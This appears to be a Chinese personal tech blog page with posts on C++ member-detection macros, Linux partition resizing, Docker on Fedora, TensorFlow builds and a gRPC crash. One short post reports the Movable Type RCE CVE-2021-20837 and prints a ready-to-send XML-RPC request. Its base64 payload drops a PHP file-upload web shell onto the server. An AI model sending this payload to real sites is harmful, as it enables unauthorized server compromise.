对于特定的函数或者变量属性检测一个特定的参数类:

#include <iostream>
#include <boost/smart_ptr.hpp>

#include <type_traits>
using namespace boost;
using namespace std;

#define _CAT(A, B) A##B
#define STR(s) #s
#define CAT(A,B) _CAT(A,B)
#define CHECKER_PREFIX __has_member_function_
#define HAS_MEMBER_FUNC_CHECKER_NAME(FUNC) CAT(CHECKER_PREFIX, FUNC)

#define HAS_MEMBER_FUNC_CHECKER(FUNC) template <typename T> \
struct HAS_MEMBER_FUNC_CHECKER_NAME(FUNC){ \
template <typename C> static std::true_type test(decltype(&C::FUNC)); \
template <typename C> static std::false_type test(...); \
static constexpr bool value = std::is_same<decltype(test<T>(nullptr)),std::true_type>::value; \
};

#define HAS_MEMBER_FUNC(TYPE, FUNC) (HAS_MEMBER_FUNC_CHECKER_NAME(FUNC)<TYPE>::value)


class TestA{
public:
   int* foo(){

       int* a =new int(1);
       return a;

  }

   static int foo2(){
       return  1;
  }

   static const int foo3;
};

HAS_MEMBER_FUNC_CHECKER(foo);
HAS_MEMBER_FUNC_CHECKER(foo2);
HAS_MEMBER_FUNC_CHECKER(foo3);
int main() {

   static_assert(HAS_MEMBER_FUNC(TestA, foo));
   std::cout<<HAS_MEMBER_FUNC(TestA, foo) <<std::endl;

   return 0;
}

对于确定参数类型的泛型成员函数:

#include <iostream>
#include <boost/smart_ptr.hpp>

#include <type_traits>
using namespace boost;
using namespace std;

#define _CAT(A, B) A##B
#define STR(s) #s
#define CAT(A,B) _CAT(A,B)
// 对于固定个数的模版类,检测某一个属性或者函数是否存在
#define CHECKER_PREFIX2 _has_member_fcuntoin2_
#define HAS_MEMBER_FUNC_CHECK_NAME2_(FUNC) CAT(CHECKER_PREFIX2,FUNC)

#define HAS_MEMBER_FUNC_CEHCKER2(FUNC) template<typename T, typename R> \
   struct HAS_MEMBER_FUNC_CHECK_NAME2_(FUNC){ \
   template<typename C> static std::true_type test(decltype(&C::template FUNC<R>)); \
   template<typename C> static std::false_type test(...); \
   static constexpr bool value = std::is_same<decltype(test<T>(nullptr)),std::true_type>::value; \
}

// #define IF_HAS_MEMBER_FUNC2(FUNC,CLASS_,CLASS_F_T) (HAS_MEMBER_FUNC_CEHCK_NAME2_(FUNC)<CLASS_ ,CLASS_F_T>::value)


class TestA{
public:
   int* foo(){

       int* a =new int(1);
       return a;

  }

   static int foo2(){
       return  1;
  }

   template <typename T>
   static  int foo4(){
       return 1;
  }

   static const int foo3;
};


//含有固定类型的模版类
HAS_MEMBER_FUNC_CEHCKER2(foo4);

int main() {
   // 输出 1
   std::cout<< HAS_MEMBER_FUNC_CHECK_NAME2_(foo4)<TestA,char>::value << std::endl;
   // 输出 1
   std::cout<< HAS_MEMBER_FUNC_CHECK_NAME2_(foo4)<TestA,int>::value << std::endl;

   return 0;
}

See also:

https://blog.csdn.net/TH_NUM/article/details/90968219

https://harrychen.xyz/2019/06/04/cpp-17-mock-concept/

Linux磁盘分区问题

当前fdisk查看的磁盘分区比实际df出来的磁盘分区大,实际磁盘分区不可用。

[SME@search-10 ~]$ df -Th
Filesystem     Type     Size Used Avail Use% Mounted on
devtmpfs       devtmpfs   94G     0   94G   0% /dev
tmpfs         tmpfs     94G     0   94G   0% /dev/shm
tmpfs         tmpfs     94G   18M   94G   1% /run
tmpfs         tmpfs     94G     0   94G   0% /sys/fs/cgroup
/dev/sda3     ext4      7.6G  2.6G  4.6G  36% /
/dev/sda2     ext4      2.0G 389M  1.5G  22% /boot
/dev/sda4     ext4      1.7T   60K  1.6T   1% /home/search
tmpfs         tmpfs     19G     0   19G   0% /run/user/0
tmpfs         tmpfs     19G     0   19G   0% /run/user/1006

[SME@search-10 ~]$ sudo fdisk -l
Disk /dev/sda: 2.6 TiB, 2876997894144 bytes, 5619136512 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 4096 bytes
I/O size (minimum/optimal): 262144 bytes / 786432 bytes
Disklabel type: gpt
Disk identifier: 40992439-8FB1-4EF3-AF5D-0B180C07EA05

Device         Start       End   Sectors Size Type
/dev/sda1        2048       4095       2048   1M BIOS boot
/dev/sda2        4096    4198399    4194304   2G Linux filesystem
/dev/sda3     4198400 2101350399 2097152000 1000G Linux filesystem
/dev/sda4  2101350400 5619003391 3517652992  1.7T Microsoft basic data
/dev/sda5  5619003392 5619136478     133087   65M Linux filesystem

由于是根分区,无法重新格式化,且重新通过分配之后,重启也无法获得扩展,如下所示:

[SME@search-10 ~]$ sudo fdisk /dev/sda

Welcome to fdisk (util-linux 2.32.1).
Changes will remain in memory only, until you decide to write them.
Be careful before using the write command.


Command (m for help): p
Disk /dev/sda: 2.6 TiB, 2876997894144 bytes, 5619136512 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 4096 bytes
I/O size (minimum/optimal): 262144 bytes / 786432 bytes
Disklabel type: gpt
Disk identifier: 40992439-8FB1-4EF3-AF5D-0B180C07EA05

Device         Start       End   Sectors Size Type
/dev/sda1        2048       4095       2048   1M BIOS boot
/dev/sda2        4096    4198399    4194304   2G Linux filesystem
/dev/sda3     4198400 2101350399 2097152000 1000G Linux filesystem
/dev/sda4  2101350400 5619003391 3517652992  1.7T Microsoft basic data
/dev/sda5  5619003392 5619136478     133087   65M Linux filesystem

Command (m for help): d
Partition number (1-5, default 5): 3

Partition 3 has been deleted.

Command (m for help): p
Disk /dev/sda: 2.6 TiB, 2876997894144 bytes, 5619136512 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 4096 bytes
I/O size (minimum/optimal): 262144 bytes / 786432 bytes
Disklabel type: gpt
Disk identifier: 40992439-8FB1-4EF3-AF5D-0B180C07EA05

Device         Start       End   Sectors Size Type
/dev/sda1        2048       4095       2048   1M BIOS boot
/dev/sda2        4096    4198399    4194304   2G Linux filesystem
/dev/sda4  2101350400 5619003391 3517652992  1.7T Microsoft basic data
/dev/sda5  5619003392 5619136478     133087   65M Linux filesystem

Command (m for help): n
Partition number (3,6-128, default 3):
First sector (4198400-2101350399, default 4198400):
Last sector, +sectors or +size{K,M,G,T,P} (4198400-2101350399, default 2101350399):

Created a new partition 3 of type 'Linux filesystem' and of size 1000 GiB.
Partition #3 contains a ext4 signature.

Do you want to remove the signature? [Y]es/[N]o: Y

The signature will be removed by a write command.

Command (m for help): p
Disk /dev/sda: 2.6 TiB, 2876997894144 bytes, 5619136512 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 4096 bytes
I/O size (minimum/optimal): 262144 bytes / 786432 bytes
Disklabel type: gpt
Disk identifier: 40992439-8FB1-4EF3-AF5D-0B180C07EA05

Device         Start       End   Sectors Size Type
/dev/sda1        2048       4095       2048   1M BIOS boot
/dev/sda2        4096    4198399    4194304   2G Linux filesystem
/dev/sda3     4198400 2101350399 2097152000 1000G Linux filesystem
/dev/sda4  2101350400 5619003391 3517652992  1.7T Microsoft basic data
/dev/sda5  5619003392 5619136478     133087   65M Linux filesystem

Filesystem/RAID signature on partition 3 will be wiped.

Command (m for help): w
The partition table has been altered.
Syncing disks.

[SME@search-10 ~]$ sudo partprobe /dev/sda
Warning: The disk CHS geometry (11017914,255,2) reported by the operating system does not match the geometry stored on the disk label (22095,255,63).
Error: Can't have overlapping partitions.

于是,尝试使用resize2fs,如下所示:

[SME@search-10 ~]$ sudo resize2fs /dev/sda3
resize2fs 1.45.6 (20-Mar-2020)
Filesystem at /dev/sda3 is mounted on /; on-line resizing required
old_desc_blocks = 1, new_desc_blocks = 125
The filesystem on /dev/sda3 is now 262144000 (4k) blocks long.

[SME@search-10 ~]$ df -Th
Filesystem     Type     Size Used Avail Use% Mounted on
devtmpfs       devtmpfs   94G     0   94G   0% /dev
tmpfs         tmpfs     94G     0   94G   0% /dev/shm
tmpfs         tmpfs     94G   18M   94G   1% /run
tmpfs         tmpfs     94G     0   94G   0% /sys/fs/cgroup
/dev/sda3     ext4     985G  2.6G 942G   1% /
/dev/sda2     ext4      2.0G 389M  1.5G  22% /boot
/dev/sda4     ext4      1.7T   60K  1.6T   1% /home/search
tmpfs         tmpfs     19G     0   19G   0% /run/user/0

结果成功扩展了分区。

虽然在杭,但还是关注上海疫情,希望每个小伙伴们能够吃上新鲜的食材,以健康的身体坚持下去。

希望上海快点好起来。

疫情中的2022春

今年的COVID-19比往年来得更猛烈一些,呆在上海,哪也去不了,储备了一周的各种方便食品,准备应对未来的日子。

fedora35 安装 docker

fedora35 安装docker 之后,直接不能使用,需要root身份使用,如果是其它用户,需要将用户加入docker组当中:

sudo gpasswd -a $USER docker

newgrp docker

sudo systemctl restart docker.socket

sudo systemctl restart docker.service

docker images

这样就可使用其它用户操作dokcer命令啦!

我们可以去docker官方hub站点下载想要的镜像包:

# 下载centos7.9镜像

docker pull centos7.9.2009

# 下载centos8.4镜像

docker pull centos:8.4.2105

即可完成对应下载。

如果不知道对应版本,搜索一下centos,到达centos官方镜像站点,即可查看到对应tag。

Movable Type最近爆雷,攻击者可以通过SOAP协议的methodName中指定mt.handler_to_coderef来执行base64中的内容,如:

<?xml version="1.0" encoding="UTF-8"?>
<methodCall>
<methodName>mt.handler_to_coderef</methodName>
<params>
<param>
<value>
<base64>
YGVjaG8gUEQ5d2FIQWdhV1lvSkY5UVQxTlVLWHRwWmloQVkyOXdlU2drWDBaSlRFVlRXeUl3SWwxYkluUnRjRjl1WVcxbElsMHNKRjlHU1V4RlUxc2lNQ0pkV3lKdVlXMWxJbDBwS1h0bFkyaHZJbGtpTzMxbGJITmxlMlZqYUc4aVRpSTdmWDFsYkhObGUyVmphRzhpUEdadmNtMGdiV1YwYUc5a1BYQnZjM1FnWlc1amRIbHdaVDF0ZFd4MGFYQmhjblF2Wm05eWJTMWtZWFJoUGp4cGJuQjFkQ0IwZVhCbFBXWnBiR1VnYm1GdFpUMHdQanhwYm5CMWRDQnVZVzFsUFRBZ2RIbHdaVDF6ZFdKdGFYUWdkbUZzZFdVOWRYQStJanQ5UHo0PSB8IGJhc2U2NCAtZCB8IHRlZSBmaWxlLXVwbG9hZGVyLnBocGA
</base64>
</value>
</param>
</params>
</methodCall>

官方最新版本(v7.9.0)已经修复。

详情见:https://medium.com/@TutorialBoy24/an-unauthenticated-rce-vulnerability-in-movabletype-cve-2021-20837-70664b159dd7

关于tensorflow编译链接问题

Tensorflow的编译工程化做得不好,主要表现以下几个方面

  1. 工程的依赖库默认从远程下载,而对于网络条件不好或中国地区用户,无法获得远程的依赖;且在repo.bzl中固化了mirror.tensorflow.org字样的代码,导致无法替换有效的镜像地址;
  2. 工程编译速度非常慢(64Core大于10分钟),由于所有依赖都采用源代码进行编译,虽然编译工具bazel有缓存,但是仍然非常之慢;整个源代码编译在一个库里,好处是对于不同的操作系统,尤其是分布式集群,分发看似方便一些,不需要依赖安装,但同时带来了隐患,依赖缺乏有效管理,导致底层的依赖有问题,需要升级,是很难覆盖,且不知道tensorflow依赖它;
  3. 工程依赖可视化管理比较差,上述已经提到,由于bazel的基因它只是一个编译工具,但它又想把依赖这件事情做好,具备很好的灵活性,有点像node和go库,但对于C/C++工程来说,每个库是远远比node和go库重一些,且很多是多层多次依赖,一般由操作系统来进行包的依赖管理,但bazel想自己做成一个王国,就有点勉强了。

回到tensorflow上来说,很现实的问题,系统的protobuf库使用的是高版本,而tensorflow 1.15.5版本内置的protobuf源码版本很低,如果tensorflow版本默认编译,低版本的protobuf符号会连接到tensorflow的库中,当我们应用需要protobuf高版本以及tensorflow库时,该应用的编译和连接没有问题,但运行时,会出现protobuf符号连接版本问题,那么这个时候需要解决版本冲突问题,当然问题不仅仅只有protobuf库,其他的库也是一样;故需要去指定系统环境的依赖库达到目的,由于bazel只有基本语法规范,但重要的还是tensorflow本身自己的编译工程需要去解决。
前面提到了tensorflow工程上的一些问题,对于系统提供的库,我们需要额外的cc_library和new_local_repository来代替new_http_archive,幸运的是,tensorflow考虑到了本地系统的依赖库,其配置在third_party/systemlibs中,syslibs_configure.bzl文件中有详细的依赖说明,故根据源文件查到环境变量TF_SYSTEM_LIBS来控制那些第三方依赖使用系统的库,故编译选项如下:

bazel build --action_env TF_SYSTEM_LIBS='boringssl,com_google_protobuf,grpc,zlib_archive,pcre,jsoncpp_git,curl,com_googlesource_code_re2,snappy,hwloc,lmdb,org_sqlite' --copt=-mavx2 --copt=-mfma --copt=-mavx512f //tensorflow/tools/lib_package:libtensorflow

即解决依赖库用系统已经编译好的库的问题

fedora35发布了

最近Fedora官方发布了Fedora 35,带来了一系列的改进:

  • 全新体验GNOME 41
  • 隐私保护DNS over TLS(DoT)
  • Linux 5.14内核:针对ARM改进;GPU 优化; USB 4 的支持

一般奇数版本相对比较稳定,可以尝试一下哟

gcc11.2 与 c++11 的一些编译问题

gcc这几年发展很快,C++20标准之后,gcc版本也随之到了GCC11了,老的代码还是在C++11的标准上,使用-std=c++11来进行编译。

GRPC一个退出发生Core的问题

使用google grpc库的时候,发现退出的时候,老出现

E0926 14:45:25.194821726 255651 completion_queue.cc:247] assertion failed: queue.num_items() == 0
已放弃 (核心已转储)

其解决办法是,在编译链接选项上加入

-lgrpc++_reflection

即可避免

Monthly Archives

Pages

Powered by Movable Type 7.9.4